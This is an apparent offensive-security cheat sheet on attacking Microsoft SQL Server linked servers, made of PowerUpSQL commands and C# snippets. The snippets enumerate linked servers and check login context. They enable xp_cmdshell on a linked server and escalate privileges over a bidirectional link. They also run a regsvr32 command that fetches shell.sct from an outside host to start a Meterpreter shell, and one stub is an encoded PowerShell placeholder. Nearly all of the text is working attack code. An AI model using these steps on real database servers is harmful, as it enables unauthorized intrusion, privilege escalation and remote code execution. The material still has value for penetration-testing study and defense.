Get-SqlServerLinkCrawl-Verbose -Instance SQLSERVER1\Instance1#to find login account for EXEC AS LOGINGet-SqlServerLinkCrawl-Verbose -Instance SQLSERVER1\Instance1 -Query "select * from master..syslogins"| ft
insert into Main
// Enumerate linked servers (see other server instance name)String res = executeQuery("EXEC sp_linkedservers;", con);Console.WriteLine($"[*] Found linked servers: {res}");
May also found links in other forest, then compromise with the same way.
enum across trusted domain: setspn -T corp1 -Q MSSQLSvc/*
enum across trusted forest: setspn -T corp2.com -Q MSSQLSvc/*
insert into Main
// in compromised SQL server, execute on target linked server & check login contextString linktarget ="Instance2"; String login = executeQuery($"EXEC (SELECT SYSTEM_USER;) AT {linktarget};", con);Console.WriteLine($"[*] Logged in as: {login} on {linktarget}");String uname = executeQuery($"EXEC (SELECT USER_NAME();) AT {linktarget};", con);Console.WriteLine($"[*] Database username: {uname} on {linktarget}"); getGroupMembership("public", con); getGroupMembership("sysadmin", con);
It is possible that we can logon as privileged user on another server even we are having low privilege on the original server. Try Impersonating using the info from the output in the beginning if not.
Command Execution
with PowerUpSQL
Get-SQLServerLinkCrawl-instance "SQLSERVER1\Instance1"-Query "exec master..xp_cmdshell 'whoami'"| ft
using openquery
// Execute on linked server via 'openquery'String linktarget ="Instance2";String res = executeQuery($"select 1 from openquery(\"{linktarget}\", 'select 1; EXEC sp_configure ''show advanced options'', 1; reconfigure')", con);Console.WriteLine($"[*] Enabled advanced options on {linktarget}."); res = executeQuery($"select 1 from openquery(\"{linktarget}\", 'select 1; EXEC sp_configure ''xp_cmdshell'', 1; reconfigure')", con);Console.WriteLine($"[*] Enabled xp_cmdshell options on {linktarget}."); res = executeQuery($"select 1 from openquery(\"{linktarget}\", 'select 1; exec xp_cmdshell ''regsvr32 /s /n /u /i:http://192.168.119.120/shell.sct scrobj.dll''')", con);Console.WriteLine($"[*] Triggered Meterpreter oneliner on {linktarget}. Check your listener!");
Privilege Escalation on the local server via bidirectional link
When the link from instance 1 to instance 2 has sa security context, and instance 2 has a link to instance 1, we could follow the link to instance 2 to obtain the sa login context and return back over the link to instance 1. Use when no other privilege escalation paths on the local server.
insert into Main
// Escalate via double database linkedString String su = executeQuery("SELECT SYSTEM_USER;", con);String localser ="Instance1";String linktarget ="Instance2";Console.WriteLine($"[*] Current system user is '{su}' in {localser} database."); su = executeQuery($"select mylogin from openquery(\"{linktarget}\", 'select SYSTEM_USER as mylogin');", con);Console.WriteLine($"[*] Current system user is '{su}' in database '{linktarget}' via 1 link."); su = executeQuery($"select mylogin from openquery(\"{linktarget}\", 'select mylogin from openquery(\"{localser}\", ''select SYSTEM_USER as mylogin'');');", con);Console.WriteLine($"[*] Current system user is '{su}' in database '{localser}' via 2 links.");String res = executeQuery($"EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT {localser};') AT {linktarget};", con);Console.WriteLine($"[*] Enabled advanced options on {localser} via link back from {linktarget}."); res = executeQuery($"EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT {localser};') AT {linktarget};", con);Console.WriteLine($"[*] Enabled xp_cmdshell option on {localser} via link back from {linktarget}.");String cmd ="regsvr32 /s /n /u /i:http://192.168.119.120/shell.sct scrobj.dll"; res = executeQuery($"EXEC ('EXEC (''xp_cmdshell ''''{cmd}'''' ;'') AT {localser};') AT {linktarget};", con);Console.WriteLine($"[*] Triggered command. Result: {res}");
insert into Main
// Execution on linked serverString linktarget ="Instance2"; //String res = executeQuery($"EXEC ('EXECUTE AS LOGIN = ''sa_svc''; sp_configure ''show advanced options'', 1; reconfigure;') AT {linktarget};", con);String res = executeQuery($"EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT {linktarget};", con);Console.WriteLine($"[*] Enabled advanced options on {linktarget}."); //res = executeQuery($"EXEC ('EXECUTE AS LOGIN = ''sa_svc''; sp_configure ''xp_cmdshell'', 1; reconfigure;') AT {linktarget};", con); res = executeQuery($"EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT {linktarget};", con);Console.WriteLine($"[*] Enabled xp_cmdshell option on {linktarget}.");String cmd ="powershell -enc "; res = executeQuery($"EXEC ('xp_cmdshell ''{cmd}'';') AT {linktarget};", con);Console.WriteLine($"[*] Triggered command. Result: {res}");